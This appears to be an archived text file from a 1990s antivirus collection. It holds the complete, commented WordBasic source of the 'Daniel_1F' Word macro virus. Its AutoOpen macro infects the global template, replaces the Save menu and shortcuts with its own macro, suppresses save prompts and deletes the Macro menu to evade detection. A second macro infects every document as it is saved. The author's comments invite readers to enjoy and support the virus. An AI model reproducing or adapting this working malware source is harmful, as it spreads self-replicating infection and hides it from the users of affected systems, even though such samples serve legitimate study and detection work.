home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
MVUPDAT3.ZIP
/
DANIEL1F.ZIP
/
DANIEL1F.TXT
Wrap
Text File
|
1996-09-01
|
4KB
|
103 lines
Macro AutoOpen
PURPOSE: To infected the system and modify some menu to avoid dectection ?
Sub MAIN
REM You've reached! Here is the virus. Enjoy.
REM This is the Word_Macro_Virus_Daniel_1F - Beta International Version.
REM Please Support the Virus Concept. Have a nice Day! (BR/US)
On Error Resume Next
*- when opening the file, direct infection of the
NORMAL.DOT
MacroCopy FileName$(0) + ":AutoOpen", "Global:Word6Menu", 1
MacroCopy FileName$(0) + ":MacroManager", "Global:MacroManager", 1
*- modified a name of the WORD menu
T$ = MenuText$(0, 1)
H$ = MenuItemText$(T$, 0, 5)
M$ = "&Save"
*- adapte the text for the portugese version of Word
If H$ = "ArquivoSalvar" Or H$ = "&Salvar" Then M$ = "&Salvar"
*- delete the old menu "SAVE" and add the new one
(correspond to the second macro)
ToolsCustomizeMenus .Position = 5, .Menu = T$,
.Name = MenuItemMacro$(T$, 0, 5), .MenuText = H$, .Context = 0,
.Remove
ToolsCustomizeMenus .Position = 5, .Category = 2,
.Name = "MacroManager", .Menu = T$, .MenuText = M$, .Context = 0,
.Add
ToolsCustomizeKeyboard .KeyCode = 339, .Category = 2, .Name = "MacroManager",
.Add, .Context = 0
ToolsCustomizeKeyboard .KeyCode = 322, .Category = 2, .Name = "MacroManager",
.Add, .Context = 0
*- to avoid detection, classic now ;-)
ToolsOptionsSave .GlobalDotPrompt = 0
DisableAutoMacros 0
*- Now, it deletes the OPTION/MACRO menu
T$ = TexteMenu$(0, 6)
M$ = "&Macro..."
G = 0
For n = 1 To CountMenuItems(T$, 0, 0)
Y$ = MenuItemText$(T$, 0, n, 0)
If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac"
Then G = n
Next n
If G <> 0 Then H$ = MenuItemText$(T$, 0, G, 0)
If G <> 0 Then
ToolsCustomizeMenus .Position = G, .Menu = T$,
.Name = MenuItemMacro$(T$, 0, G, 0), .MenuText = H$,
.Context = 0, .Remove
End if
T$ = MenuText$(1, 1)
M$ = "&Macro..."
G = 0
For n = 1 To CountMenuItems(T$, 1, 0)
Y$ = MenuItemText$(T$, 1, n, 0)
If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac" Then
G = n
Next n
If G <> 0 Then H$ = MenuItemText$(T$, 1, G, 0)
If G <> 0 Then
ToolsCustomizeMenus .MenuType = 1, .Position = G, .Menu = T$,
.Name = MenuItemMacro$(T$, 1, G, 0), .MenuText = H$,
.Context = 0, .Remove
On Error Goto 0
End Sub
---------------------------------------------------
Macro MacroManager
PURPOSE: To infected each file when you save it.
Sub MAIN
On Error Goto CX
*- protection for the autoexecute macro
DisableAutoMacros 0
*- to avoid the confirmation when the virus
infected the NORMAL.DOT
ToolsOptionsSave .GlobalDotPrompt = 0
N$ = UCase$(Right$(FileName$(0), 3))
If N$ <> "DOC" And N$ <> "DOT" Then Goto CX
E = CountMacros(1)
X = 0
*- the virus searchs if the system is still infected
For i = 1 To E
If MacroName$(i, 1) = "MacroManager" Then X = 1
If MacroName$(i, 1) = "AutoOpen" Then X = 1
Next i
If X = 1 Then Goto CX *- it's infected , exit
*- else it infected the system
FileSaveAs .Name = FileName$(0), .Format = 1, .AddToMru = 1, .EmbedFonts = 1
*- modifie the name of a macro
MacroCopy "Global:Word6Menu", FileName$(0) + ":AutoOpen", 1
MacroCopy "Global:MacroManager", FileName$(0) + ":MacroManager", 1
CX:
*- information of the creator of the virus
FileSummaryInfo .Keywords = "Daniel_Stone",
.Comments = "All information should be free."
FileSave *- save all the modifications
On Error Goto 0
End Sub
---------------------------------------